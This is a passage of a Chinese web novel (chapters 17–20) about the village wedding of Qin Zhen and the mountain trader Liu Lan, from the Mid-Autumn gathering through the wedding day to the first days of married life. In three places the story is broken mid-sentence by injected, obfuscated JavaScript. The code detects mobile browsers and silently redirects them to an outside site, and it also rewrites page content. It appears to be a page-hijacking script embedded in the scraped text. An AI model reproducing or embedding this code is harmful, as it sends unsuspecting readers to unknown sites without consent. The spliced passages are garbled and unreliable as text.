“往年只能搁点霜糖和白梨熬煮,这加了雪耳就是不同。”林青娘舀了一勺带雪耳的汤细细品味,还不忘朝秦蓁递眼神。 李青山一听她的话顿时觉得不对劲,果然,秦蓁接着开口道:“是柳岚前两日送的,夏日暑热时也送过,前前后后加起来快有十朵了。” “那可得不少银钱呢,”吴春梨给周安怀里的盼盼喂甜汤,也说道:“我上次去铺子里瞧过,最次等的雪耳卖一钱银子一两,蓁蓁拿来的两朵成色可不差。” 未尽之言大家都明白,无非是秦蓁看中的男子舍得对她好,价值几十两的东西说送就送。 自己不过是个在山里讨生活的山货郎,愿意将这么多钱财花在秦蓁身上实属难得。 “那又如何?”周大石将碗摔在桌上,摔重了会挨骂,因此他只拿碗底磕个响。 “周叔,柳岚常在山里走动,认识的猎户也多,您要是想往酒里添东西泡酒,找他不是正好?前阵子和他交好的几个猎户就猎了头黑瞎子呢。” “他认识赵承那小子?” 秦蓁点头。 周大石上次见着那头黑瞎子便想着能不能买点,可惜有人受伤急需看病,赵承他们只得将整个卖出,好拿出钱去救治。 赵承有本事,不过性子古怪,周大石兄弟几个有时想去山林里闯闯还搭不上话。 黑瞎子已然错过,日后若是有别的什么,倒也不错。 李青山见周大石有几分动摇,坚持道:“认识谁都不妨事,他不过来试两下,我们怎么知道他能不能护好蓁蓁?” “你以为还在军营啊?整天不是舞刀弄枪就是盯着喝酒,这次扣的十两银子给我交出来!” 李青山虽说是账房先生,可自从林青娘发现他们偷藏私房钱买酒后也学起了算珠,每次回来都会对账。几个人也不多藏,三五趟昧一次,林青娘本想着睁只眼闭只眼就算了,正好李青山撞上来了。 李青山憋着的话没能说出口,一瘸一拐回屋拿银子去了。 赵虎向来顺着秦蓁,脾气来得快去得也快,不过为了顾及兄弟的面子,只能跟着一起,田丰也相信秦蓁的眼光,对于这门亲事并无其他意见,有林青娘帮着掌眼,想必姑爷差不到哪去。 两人暗地里看完热闹,一个找地方磨刀,一个悠哉悠哉上街去了。 周大石只是气秦蓁等亲事定下了才告诉他,晚上被媳妇说了一顿,今日不过是抹不开面子,秦蓁一过来哄他便赶紧顺台阶下了。 …… 镇上的桂花大概有独特的密语,一同相约在今日大放异彩,街头巷尾到处都能闻到那抹幽香。 点心铺子里新上了桂花糕和各色月饼,脂粉铺子也跟着摆出绘了几朵丹桂的脂膏。 林青娘嫌自家做月饼麻烦,试过一次后便不愿再做,田丰厨艺了得,可大老粗一个,不爱做点心,因此周家每年常去铺子里买月饼。 佳节里不过也是忙忙碌碌,只是平常为了银两忙碌,今日则是为了犒赏自己。 三个女眷和田丰一起在灶房备菜,炖煮的猪蹄渐渐散出肉香,煨了好几个时辰的鸡汤也飘来香味。 耗费一个下午做成的菜肴终于一一摆上桌,田丰从街上回来时还买了五斤卤好的五花肉作下酒菜,林青娘盯了他半晌,切完后捻了一片尝尝味道,随即夹了小半碗放在秦蓁和吴春梨面前。 明月高悬,照亮了院子里的案桌,上面摆好了月饼、寒瓜、酒水和糕点等物,众人吃过饭,转而来到庭院一同赏月。 那轮白玉盘和平时看的没多大区别,只是由缺到满的变化而已,周大石几人没念过书,赏不出个子丑寅卯,干脆喝酒。 两个孩子哄着睡了,因此大人们不敢吵闹,碗沿一碰,手一倒,酒便进了肚。 旁边秦蓁她们的小桌上摆了一小坛桂花酿,浅酌一口,鼻间满是醉人的桂花香。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027645|148136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 秦蓁酒量浅,只喝一杯便不动了,吴春梨好些,倒了三杯才停手,反观林青娘,就着小菜喝了一杯又一杯。她常常骂周大石几个是酒鬼,自己何尝不是?不过大家都不敢说,只得屈服于她的淫威。 —— 下过一场秋雨后河水并未像夏日那般涨起,水量反而因为干燥的气候有所减少。 秦蓁拧干一件衣裳,抬头望向南飞的一行大雁。 听人说,越往南冬日里越暖和,也不知大雁会行至何地。 河水被一天的暖阳晒走了凉气,秦蓁将手掌放至水下,悄悄拨动水流,玩闹了一会,她才跟人告别回家。 在宽阔的村路上走了一小段,她便听到身后的脚步声,秦蓁回身看去,却落入一双满含爱意的眼眸。 “什么时候跟上来的?怎么不喊我?” 柳岚快步上前与她并行,一只手则接过装着衣物的木盆。“出门时远远瞧见河边有道人影像你,在岔道那头就跟上了,想看你能不能发现是我。” “你若是早点出声,还能多陪我走一段。”秦蓁乐得轻松,笑着道。 “现在同行也不晚。” 两人好似从未在白天时走在一起,竟觉得有些新奇。 如今婚事已经在村子里传开,该说的闲话早在嘴里过了几遍,倒没多少人明里暗里说道。 路上难免会碰到熟识的乡亲,知道秦蓁认识的人不多,柳岚便带着她认人,宛若一对刚成亲的夫妻。 到了东边,屋舍渐渐少了,人也看不到几个,秦蓁这才放松神情,“早知道便不和你一起了,一段路走来喊的人比我两三年认识的人都多。” 柳岚听出她小小的抱怨之情,宽慰道:“大概是有我在场,故意过来瞧热闹,有几个我也不熟,日后也不会打交道,你不管便是。” “真的?” 秦蓁除了周家,并无关系亲近的亲戚,因此对于常人所看重的血脉亲族感触不深。 柳氏一族在寻柳村枝繁叶茂,秦蓁此前还为柳家过多的亲戚而烦恼过。 “真的。”柳岚认真道,“和我有往来的亲戚不多,等……等成亲了我再同你介绍。” “好啊。”说到成婚,秦蓁又想起中秋时发生的事,便和柳岚说起。 柳岚听过后当即应下,心里寻思着要怎么说服赵承。 说话时不觉路远,好似眨眼间就到了目的地,柳岚将木盆交还给秦蓁,另一只手上提着的篮子也送了过去。 “下午在山上刚摘的毛果,有几个快熟透了,这两天吃刚好,剩下的没怎么熟,能多留几天。” 原是这样,秦蓁还想着柳岚明明知晓她的胃口,怎么还拿这么多过来。 柳岚给秦蓁挑的个头大,味道更好些,也方便剥皮。 秦蓁让他等等,自己先把东西放好,清空了篮子后又将昨天带回来的桂花糕放进去。 柳岚等待时只敢候在门外,定亲之后偶尔会跨进门内观察这个秦蓁从小生活的地方。 入了秋,葡萄藤的叶子开始发黄掉落,有一片在微风的力道下从枝头吹落到菜地里。 藤上挂着的葡萄串不多了,自成熟到现在,秦蓁给周家、柳岚和其他姑娘们都分过,最后只剩三串。 秦蓁见柳岚望向那边,便剪下一串给他。 “田叔买的这家桂花糕做得不错,你带回去尝尝。”秦蓁又看了看长势良好的葡萄藤,问道:“日后要把这株葡萄移栽到你家吗?” 柳岚不解:“你想移过去?” 这么大一株,若是动土只怕不好养活。 秦蓁思绪一转,猜到自己刚刚应当是想错了,“不想,不过可以剪一支过去,也搭一个架子,能遮阴乘凉。” “好。” 18. 第18章 “这三张桌子摆外头去,堂屋里边放两张正好。” 一大早,林青娘便指挥几个汉子把秦家布置了一番。 成亲的前一日,是女方宴请宾客的日子,由于秦蓁不常与人往来,参加宴席的人并不多。 安排在堂屋的女眷大部分是同秦蓁交好的姑娘们,左右秦蓁只是为了成婚热闹热闹,不在乎大家出多少礼金,因此只让她们有空的便过来吃顿饭,若是有事耽搁了也不必太过在意。 不过大家还是赶了过来,零用钱足够的便出十几二十个铜板,多多少少也算个心意,不够的则从家里带了几篮子菜,收拾出来能让大家吃上一盘。 邻居赵家在秦蓁的帮衬下这两年算是过得不错,大喜的日子丝毫不吝啬,早早过来送了两只养得不错的老母鸡,吴芳和大儿媳田夏还去了灶房那边忙活。 宴席在林青娘的安排下井井有条,五桌宾客说多不多,一家人倒也忙得过来。 秦家碗筷不够,因此秦蓁托李青竹和李成玉两人去问家里有无碗筷可借,两家人口多,匀出一些碗筷出来不算难事。 村里办酒席都是这样,桌凳和碗筷朝各路亲戚借,每家在不同的地方做个记号用于区分,等宴席结束后再归还。 因此除了家底富裕和亲族众多的人家,其他人也办不起大的酒席。 鸡鸭鱼肉并猪肉,豆腐、鸡蛋和各类绿蔬,再加上两碟子点心和果干,勉勉强强凑够了十碗菜,每碗份量很足,味道也不差,这在村子里算得上是大手笔了。 同坐一桌的人关系较为亲近,碰到喜欢的菜还会谦让几分,不像有些酒席上为了多夹几块肉而争抢。 秦蓁深居简出,这般“热闹”的宴席自然没见识过,还是姑娘们平时闲聊时说起,她才大开眼界。 酒饱饭足,客人们各自散去,姑娘们拉着秦蓁多说了会话,成亲后就在本村,几步路的事,不至于不舍,只是将自己准备的贺礼送给秦蓁。其实是手帕鞋面之类,说贺礼也不准确,总归是大家的一份心意。 大家吃饱后桌上的菜还剩了不少,林青娘便做主让大家分了带回家,好歹添个荤腥。毕竟他们家也不缺吃的,何必死守着。 寻常人家办酒席时除去酒桌上的来客自己夹菜带回去,剩下的大半部分会被主人家分给亲近的邻居或亲戚,而秦家请来的宾客都是关系好的,便不分亲疏远近了。 清洗过后,桌椅碗筷尽数送还,热闹的场面散去,小院又恢复了往日的平静。 不过较之先前,家里的东西还是少了一些,比如柳家抬来的几箱聘礼、比如秦蓁用了许久的妆匣和闷户橱等物。原本绣架也应搬过去,但柳岚家地方不够大,空出来的房间采光也不佳,最终作罢。 左右秦家之余秦蓁一人,即使出嫁房子也归她自己处理,没什么去得去不得,就当是另一处房产了。 —— 四人抬的喜轿在一阵敲锣打鼓声中朝秦家而去,挂着红布的高头大马和新郎官走在前头,去接他心悦许久的新娘。 没有牲畜的穷苦人家成亲时只能靠脚力,家境尚可的多用牛或者驴,马匹其实少有人家能用得起。 柳家是准备骑柳岚的那头毛驴,年轻壮实的驴子也是一份排面,并不丢人,但周大石嫌驴子没有他们养的马儿好看,因此两家商量后决定骑马。 马匹在村子里可是稀罕物,好些有钱的地主家都没有,若不是周大石几人退伍后有几层关系,也弄不到这些略有残缺的马匹。 柳岚去周家练了一段时间如何骑马,终于在成亲前骑得像模像样。 迎亲队伍两旁和后头跟着看热闹的村民,走动间细语不断,多数在感叹这难得一见的场面。近年来也就前些时日的沈家接亲有这等排场,没想到平日里只知道采山货的柳岚骑上大马后,隐隐约约也有几分沈家少爷那般的风姿。 行至门前,柳文轩将婚书展开宣读:“赤绳早系,白首永偕?;?花好月圆,欣燕尔之?;?将泳海枯石烂,指鸳侣而先盟?;礼同掌判,合二姓以嘉姻?;诗咏宜家,敦百年之静好……?” 话音落地,早已准备好的周安在不远处挂起鞭炮,噼里啪啦的响声过后,柳岚登门拜秦家夫妇的牌位。 本该祭拜先祖,但秦叔朗只是在模糊的幼年记忆里寻到这边,祖家的事宜自是不清楚,更何况先祖的牌位。 而后是跪拜周家夫妇,他们二人从秦蓁小时一直照顾到大,在她心中自然与父母无异,于是便以义父母的名义拜为高堂。 柳岚起身在一旁等待,没过一会,在屋内磕过头的秦蓁被吴春梨牵了出来。 红盖头下,秦蓁的眼眶发红,鼻尖也渐渐泛起一阵酸意。 纵然婚前想过许多,往后要过的日子也心中有数,但临了临了,秦蓁还是忍不住涌出浓烈的不舍,林青娘也在掐手忍耐,面上尽量展开喜悦的笑容。 该说的话已然说完,想说的话却怎么也说不尽。 柳岚缓步上前,待秦蓁反应过来后将人抱起,他看向林青娘和周大石,得了两人的首肯后才朝门口而去。 鞭炮声再次响起,秦蓁端坐在花轿内,手指紧紧攥着一方帕子。 轿子抬起的那一瞬,两滴泪夺眶而出。 秦蓁望着手背上的泪珠出神,喧闹的锣鼓声和周围热闹的人声渐渐远去,她好像回到了娘亲卧病在床的那段时日。 娘亲脸色苍白,断断续续说着她以后一个人该如何生活,又提醒她与男子相交不要耽于情爱,应从平时的相处中判断此人是否值得。 秦蓁一路走来挑挑选选,如今即将尘埃落定,她心里也终于腾升出一丝安定。 扶光的余晖经由云彩燃烧成一片火红的霞,婚服内暗绣的丝线似有流光,衬得柳岚身姿更加挺拔高大。 喜轿在回到柳家后平稳落地,柳岚翻身下马,一进到轿内便察觉出秦蓁低落的情绪。 “蓁蓁?”他不知该说什么,只好轻声唤了她的小名。 秦蓁还是第一次听柳岚这般叫自己,想起他紧张的模样和平时相处的点点滴滴,心绪倒是缓和了不少。 她将自己的手放进男子宽大的掌心,一切任由他处理。 柳岚不由得握紧,随即弯腰把她抱起。 院里院外坐了十几桌,见到新郎官和新娘子过来后忍不住起哄,比秦家不知热闹了多少。 堂屋里,柳望山和于红英坐在上首,中间则摆放着柳知山的牌位。 三拜过后,随着一声“送入洞房”,秦蓁又重新回到柳岚的怀里,随着耳边一声声强有力的心跳,秦蓁被抱进了屋里。 没人敢跟过来闹腾,毕竟在大家的心里,秦蓁同一般的姑娘不一样,因此生怕自己的举止惹人不快,让小两口产生芥蒂。 主屋收拾得很干净,摆放的用具陈旧却不破败,可见使用的人将其养护得还不错。 柳岚双手揭开盖头,只见略施粉黛的秦蓁在烛光的映衬下愈发柔美,他半蹲在秦蓁身前,捧着新婚妻子的双手说道:“嫂嫂下了半碗面,待会端过来,你若是不想吃,桌上还备了几样糕点。我出去招待客人,你在房里可需要人作陪?” 秦蓁摇头,“我想一个人歇会。”她嗓音有些沙哑,估计是先前哭过。 柳岚看向她的目光专注,心里着急却不知该怎么办。 “我没事,你安心待客。”秦蓁回握住男子粗糙的手,朝他牵起一个笑。 柳岚只得妥协,关好门窗让她好生歇息。 屋子里带着柳岚独有的气息,令秦蓁不知不觉中放松了身体。 没过一会,两道敲门声响起。 秦蓁猜测应当是柳岚说的嫂嫂,便应了声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068847|148136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>谭月进来,见秦蓁已经揭了盖头也没说什么,村里没多少人家讲究这个,安安稳稳拜了堂成亲就行。 不过村里人传得风风雨雨的秦姑娘样貌果真不错,也难怪不少汉子以前爱慕她,如今倒是被阿岚娶了进来。 她顺手关了门,招呼秦蓁到小桌前吃面,“阿岚说你饭量小,我就没夹多少,你先吃着,不够我再端来。” “让嫂嫂费心了。” “顺手的事,以后就是一家人了,别客气。”谭月也拉开凳子坐下,时不时朝秦蓁看上两眼。 她身后一直藏着的身影露出个小脑袋,眼睛一眨不眨地看着新来的小婶婶。 谭月反手把他带到身前,“喊人。” 柳朗星面对这么好看的小婶婶一时有些羞涩,但还是乖乖喊了人。 秦蓁偶尔听柳岚提起过自家的小侄子,听说是个很乖巧的男娃娃,她将桌上的糕点推过去,“朗星是吧?来,吃糕点。” 柳朗星抬头看娘亲,得到允许后才拿起一块看起来好吃的糕点。“谢谢小婶。” …… 谭月在屋子里待了一会,因外头还有不少事情要忙活,在确认秦蓁不需要人多加照顾后便带着孩子走了。 歇了一阵,秦蓁也终于缓了过来。 开席已经有些时辰了,期间时不时传来一阵喝彩声,估计是柳岚在陪酒。 柳家亲戚好友众多,就算亲缘关系隔得远的没有特地邀请,剩下的也坐了十几桌。 一圈下来,直把柳岚灌得走不动道,柳文轩立马扶住他,朝周围人说道:“喝不下了喝不下了,阿岚今晚还得洞房呢,改日再请大家喝个痛快。” 都是男子,有些事情心知肚明,也不再纠缠,放柳岚回屋。 柳文轩带着走得七弯八拐的柳岚往回走,等离开众人的视线,原本醉酒的人却走得四平八稳。 “哥,剩下的事你和大伯多担待,我去找我媳妇儿!” 柳岚酒量并不差,只是平日里滴酒不沾,也就没多少人知晓,眼下将醉未醉,又被激出了几分亢奋,柳文轩连忙制止他,“你这副模样可别唐突了弟妹,先去喝碗醒酒汤,待会再去找她。” 想起秦蓁的面容,柳岚终于沉稳了一些,跟在柳文轩身后去灶房喝醒酒汤。 于红英早在那边等待着,一边收拾灶台一边让人去喝汤。“缓一缓,等会去把盆端进屋里,新娘子不方便出来,你得照顾人家洗漱,听到没?” 柳岚点头。 宴席差不多该到了尾声,于红英又交代了几句,招呼人去前面忙活去了。 柳岚先把自己收拾了一通,然后才端着兑好的温水进屋。 他见着秦蓁了也不说话,只呆愣楞地傻笑,眼中的光芒倒和他小侄子看糕点时有些相像。 “喝醉啦?” “没醉,我酒量好!” 秦蓁看他和平常不同,问道:“那你笑什么?” “笑蓁蓁好看!我们今天成亲!” 两句话没什么关联,秦蓁却能懂他难言的喜悦。 柳岚突然想起什么,从箱子里翻出一个小荷包,走到秦蓁身边后发现忘了拿剪刀,又在不大的屋子里找寻。 还不等秦蓁询问,他便散下部分头发,剪了一缕递给秦蓁看。 原是要结发。 秦蓁早已散了发髻,猜出柳岚的目的后也勾出一缕剪下。“我来绾?” 柳岚轻轻摇头,灵巧的双手动作娴熟,也不知练了多少次。 两缕发丝被绾结在一起,装进备好的荷包里头,最后放到了装衣物的箱子底下。 客人三三两两结伴归家,各类物品在于红英的整理下规整码放着,等明日再送回各家。 …… 月色朦胧,周围重归静谧,只余柳家主屋的一对喜烛燃至天明。 19. 第19章 零星的鸟叫声时不时响起,不知哪家养的鸡也咯咯咯叫着,仔细听还能听到远处传来的犬吠。 乍亮的天光提醒柳岚应当起身了,他却一动不动地注视着身旁的女子。 秦蓁依旧熟睡着,对于新住进的家还算适应。 想起要忙的事情,不舍的柳岚还是悄悄掀起被子,尽量不惊扰到秦蓁。 今年的新米柳岚没吃多少,早晨倒是舍得拿出来煮粥。再架上笼屉蒸几个馒头,简单的早食就备好了。 匆匆咽下两个馒头,柳岚牵起驴车将借来的碗筷送回各家。 …… 秦蓁醒来时听到檐下有东西掉落的声音,啪嗒啪嗒接连不断,她起身穿好衣物,唤了声柳岚。 时刻关注着屋内动静的人立马开门进来,“怎么不再睡会?身子可有不适?” 秦蓁虽然脸颊微红,却还是细细感受了一番。昨晚没闹太过,除了腰间酸软倒没有其他地方不舒服,因此她只是微微摇头。 但柳岚还是走在她身侧护着,生怕不小心摔了。 一出门便能看到檐下摆着的几个竹筐,大竹筐里装满了晒干的菌子,跟前的三个小竹筐则按个头把菌子分拣开来。 柳岚解释道:“分拣之后的菌子价格不一,个头大的更好卖些,也比混在一起挣得多。” 秦蓁第一次见这样的场景,难免好奇,柳岚便带她上前去看个仔细。 个头中等和较大的菌子略微有区别,但都很饱满,容易让人生出想买的念头,个头小的品相不佳,不过胜在量大,能多吃几顿,一般人也舍得买上几两。 没想到这人看着老实,倒有几分巧思。 不过也是,好歹是做买卖的,不想点办法只怕连养家糊口都不够。 “若是别人看出,岂不是很容易效仿?”还未梳洗,秦蓁这般开口难免不自在。 柳岚牵着她到灶房门口,舀出温着的水让人洗漱。青盐和布巾已经备好,不必再去拿取。 “附近专做山货郎的人少,有人效仿也不碍事。” 卖山货利薄劳苦,还需到各处山林里奔波,有这个功夫,不如去药铺里卖些寻常药材,处理得当也能卖点银钱养家。 粥和馒头同样温在锅里,盛出来直接能入口。 柳岚坐在旁边陪秦蓁一起,他出门时没吃饱,正好再吃点。 浓稠的粥和温热的白面馒头,是村里人少有的早食,秦蓁虽然不常同人接触,但多少了解一点,连李青竹他们家都少以白米为主食,更别说其他人家了。 “新收的稻子留了多少?” 柳岚咬了口馒头,就着粥吃得一脸满足,他咽下口中的食物回道:“卖了一半,剩下的两石足够吃到明年。” 他的田地记在柳文轩名下,不用交田税,只留出自家吃的量便好,不必顾虑太多。 秦蓁粗略一算,估摸着以柳岚的饭量还是留少了,她开口道:“我那边还有一石多,没人守着容易出意外,不如得空了搬过来。” 先前收完稻谷,赵家按约好的量运了过来,每年收的三成租正好能够秦蓁一人吃一年,今年也不例外。确定成亲后她就打算运到柳家,不过事情太多,忙来忙去倒忘了。 柳岚没别的想法,秦蓁怎样安排他便怎样做,本就是自己高攀了秦蓁,若是觉得因此丢了脸面,当初也不会求娶她。 秦蓁吃完后,柳岚把剩下的包圆,他清楚秦蓁的饭量,下米的时候自然有数,不会差太多。 没等秦蓁动手,他收好碗拿去灶房刷洗,秦蓁便只好跟在他身后,她笑道:“我们两个像是互换了身份。” 普遍是妻子伺候丈夫的环境下,他们家却反了过来。 柳岚不在意这些,“我干惯了粗活,几个碗而已,顺手就洗了。你的手要绣花,别碰坏了。” 能听到他这样说,秦蓁自然很舒心,但她不是十指不沾阳春水的大家闺秀,独自生活了几年,洗衣刷碗这些事做起来也不算费力气。“那你在家多辛苦辛苦,若是累了再由我来。” “好。” 家里收拾完恰好辰时未过,秦蓁便同柳岚商量去大伯家敬茶。 虽然昨日大伯娘交代说不必过去,可两家关系亲近,对柳岚又视若己出,于情于理都该过去一趟。 柳岚欣然应允。秦蓁愿意去最好,不去也无妨,毕竟在他人看来自己早已是独门独户,即使他与大伯家亲如一家人,也没有强让妻子去敬茶的道理。 到柳大伯家时谭月刚晾完衣裳,于红英则带着柳朗星在院子里挑豆子。 柳望山出门下地去了,过几天好把胡豆种上。 秦蓁跟着柳岚喊人。 见两人过来了,于红英欣喜不已,应声后连忙放下竹匾,“怎么过来了?可歇息好了?” “歇息好了,想着时辰不晚,过来给大伯和大伯娘敬茶。” 于红英轻拉着秦蓁往堂屋走,边说道:“不用费那个事,你有这份心意伯娘都记着,只要你和阿岚把日子过好了,比什么都重要。” 她心里明白,秦蓁不比寻常姑娘,人家敬她,自己却不能仗这个势。是不是个好相与的只一朝敬茶又看不出来,往后的日子长着呢。 谭月端了两盘糕点过来,是前几日招待客人时备的,算不得多好,却也不差。 “多谢嫂嫂。”秦蓁方才吃过早食,此时并不饿,不过她还是拿了一块小巧的绿豆糕尝尝。 于红英见她没有嫌弃,微微吊起的心这才放下。 没人管柳岚,这边是他第二个家,有些东西的位置他可能比柳文轩还清楚些。他摸了块糕点,让怀里的柳朗星慢慢吃。 “正好文轩托人带了只烧鸡回来,在家里坐会,午时一起吃个饭。” 秦蓁拿不定主意,目光转向柳岚那边。 柳岚看出她没有拒绝的意思,便顺着答应下来。“那我去园子里摘些菜。” “也带蓁蓁去看看,到时想吃什么菜了直接来摘。” 柳大伯家院子盖得大,菜园子也围得大,比秦蓁自己的小菜地更繁茂些。 小葱、大蒜、韭菜、红根菜和芹菜绿油油的一片,新长的萝卜叶子脆嫩,旁边刚撒不久的种子才出芽冒尖,另一处的豇豆藤已经枯老,盘在扶立的竹竿上不舍得松开,大概是忙着柳岚成亲的事,还没来得及清理。 秦蓁在绣婚服的空闲时间早已收好了明年的种子,枯死的藤蔓自然也一并处理了。 她早晨看过柳岚的院子,只有一小块地栽了常用的小葱大蒜之类,除此之外并无其他。 想来也是,柳岚常日在外奔波,应该少有时间能照料菜地里的菜,不如到大伯家摘点。毕竟对于惯和土地打交道的老把式来说,多侍弄一块地又算不得什么,自家吃不完了还能送给左邻右舍,或者晒成菜干留着冬日吃。 “院子里还有块空地,不如也种些菜?”她一个人住时都能往外送菜,没道理成亲了反而吃不上自己种的菜。只不过挑水费时费力,以她的力气照顾不了太多。 “等下午回去我把地翻出来,眼下只能种些萝卜菘菜,待会再问问大伯娘还能种什么。”柳岚走在秦蓁身后护着,看着她的背影又道:“家里都听你的,你说我做,不用询问。” 秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093919|148136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓁回身看他。成亲不过是昨天的事,她独自居住久了,一时没适应过来,总觉得自己是客人,便不好随意做主。 有了柳岚这句话,她才落定了成家的实感。 “你不是打算开春建新房子?既然这样,那先不折腾,等划好了地盘再翻地种菜。我那边的菜地不大,但也能供我们俩吃。” “好。”菜地转悠到了尽头,两人又往回走,柳岚问她:“那以后院子里也打口井?我不在家的时候方便打水,再搭个葡萄架子,等天热了可以在下头乘凉。” 秦蓁想起上次误会柳岚想吃葡萄,不由得笑了笑。 两人逛完出来,碰到扛着锄头进门的柳望山,秦蓁跟着喊了声大伯。 柳望山话少,只点头应下,走了几步又停下,毕竟是侄媳妇第一次进家门,还是招呼了两声,“上屋里坐,跟你大嫂说说话。” “好。” 柳岚示意秦蓁进去,自己和大伯去说地里的活计。女人家说话,他一个汉子凑过去也不像样,在旁边不过是带孩子,还是出来为好。 于红英和谭月之间关系融洽,待她也亲近,秦蓁同她们说话并不会感到拘束,因此很乐意。 柳朗星本就喜欢这个好看的小婶婶,一上午下来,已经窝在秦蓁怀里不肯离开了。 谭月笑他:“这小崽子还挑人,前阵子他小姑想抱都不让抱。” “我要是星星也不抱,”于红英没好气道:“穿得破破烂烂来家里哭穷,还非赖着文轩让他帮衬两把,也不看看自己夫家是个什么德行,有钱了鼻孔朝天,没钱怪亲戚不帮,要不是看在她爹的面子上,我多少骂上两句。” 秦蓁没见过村里人骂仗的场景,听大伯娘这嘴皮子的利索劲,一时觉得有趣。 谭月在旁边教她:“你出门少,有些事情不清楚,若是在外碰到了自称是哪家亲戚的人别去理会,都是些拎不清的浆糊脑袋。” “柳家人多,不是哪家都能叫一声亲戚,当年在岚小子那里吃亏,可不得从你这里找回面子。等过几天伯娘带你走动走动,只和几家往来也就够了。” 秦蓁摸着柳朗星的头顶点头,小孩朝她笑,露出一口小白牙。 用过午饭不久,两人告辞回家。于红英没多留,小两口刚成亲,家里肯定还有不少事情要操劳,要串门什么时候都能过来,何必拘于这一时。 “我先把屋子收拾出来,你想想家里还有什么要带过来,待会牵了驴车一并搬走。” 除去睡觉的主屋,其他房间或多或少都堆了各种各样的山货,是柳岚积攒了一年准备冬日里卖的。到时新鲜的食物少,有钱的大户人家乐得花点银子买这些稀罕货。 而在其他人眼里,秦家指不定有不少好东西,那地方又偏,悄摸顺走一点东西很难被人发觉,还是搬到这边让人安心些。 秦蓁也知道其中的道理,心里想着家里还剩些什么。 其实最重要的家当已经随她出嫁一起带过来了,是藏在妆匣里的二百三十两整银。其中的二百两分几次换成了四张五十两的银票,因此别人不会从重量上怀疑什么。 除此之外还有大概二十两的碎银,放在不显眼却能让人有所察觉的角落里,让人以为是自己多年的积蓄。毕竟在村子里,二十两算得上是一笔难得的钱财了。 另外,娘亲书房里的书籍也妥善安置好了,柳岚在各个房里放了木炭防潮,正好能存放。 至于其他,绣架和布料占地方,柳岚家暂且没有屋子能存放,只好加固门窗用于防盗,再托赵家多照看一二。 两人有商有量,一起为自己的小家忙活。 20. 第20章 清早,载人的驴车在前往镇上的大道上慢跑着。 刚过寒露,周围已经泛起了凉意,出门时柳岚特地给秦蓁披了件斗篷。兔皮做的斗篷并不华丽亮眼,但足够保暖,秦蓁一戴上兜帽便感觉不到寒风了。 此时她背靠着柳岚,看路旁的景色向后倒退。 今日回门,两人早起去祭拜了秦家夫妇,又牵出驴车去镇上周家。 身旁的背篓里放了两小坛蜜糖,分给林青娘和吴春梨,酒肉则直接去镇上买。 等到了镇上,秦蓁看着柳岚发红的双手有些心疼。“都买了这么大一件斗篷,怎么不给自己备一双手衣?” “当时大家手头上存货不多,只够做一件,我向来糙惯了,没在意这些。” 外头人多,秦蓁并未和柳岚过度亲近,只在心里琢磨着给他做两双冬日里驾车用的手衣,最好再添件围项,风雪大了也不怕冻着。 因着周家汉子多,柳岚买了两坛酒,又去肉铺割了二十斤肥瘦相间的猪肉。听秦蓁说还有两个小娃娃,便再挑了一点小玩意和零嘴。 “你买这么多,等日后青婶该说你了。”秦蓁笑得颇有些幸灾乐祸的意味,刚刚不提,偏等他买完了才说。 “不过是一点心意。我把你拐回家了,怎么也得讨好一番。” 柳岚说完,将驴车停在不碍事的位置,扶着秦蓁上去坐。离周家还有一段路程,坐着轻松些。 幸好三进的院落后门够宽敞,否则两人不好驾车过来,左拎右背也着实不方便。 当初学骑马时来过几趟,不用秦蓁指路,柳岚自己也能找着周家的位置。 门开着,老远就看见周辰的小脑袋一探一探。 小孩子对柳岚不熟悉,秦蓁今天又罩了件斗篷,直到走近了才认出。“姑姑姑姑!姑姑来啦!” 秦蓁扶着柳岚的手臂跳下车,俯身去抱他。“旁边还有姑父,是不是忘叫啦?” 周辰在秦蓁面前很听话,乖乖叫人。 柳岚应声,从背篓里拿出块芝麻糖给他,拿之前还问秦蓁:“他能吃吗?”他记得周家小孩和朗星一般大,应当是能吃的,不过还是再确定一下为好。 “给他吧,手里有吃食能少闹腾一点。” “就说该到了,”林青娘走出门,笑着招呼柳岚:“姑爷快进来坐,刚泡的菊花茶,喝一杯暖暖。” 柳岚跟秦蓁一样唤她青婶,把驴车牵进去后先提起割的肉,“带了点肉,给周叔他们添个下酒菜。” “哎呦!怎么买这么多?他们几个少吃一顿又不碍事,留着自己吃多好,你和蓁蓁都太瘦了,等入冬了得好好补一补。” 肉铺顺手把肉分成了差不多的两块,林青娘说完想把其中一块放回去,被秦蓁挡了一下。 “送出去的礼哪有收回去的?青婶你安心收下就好。” 柳岚接到秦蓁的眼神,也跟着附和:“青婶放心,家里还有肉,冬天我也肯定会把蓁蓁养得好好的。” 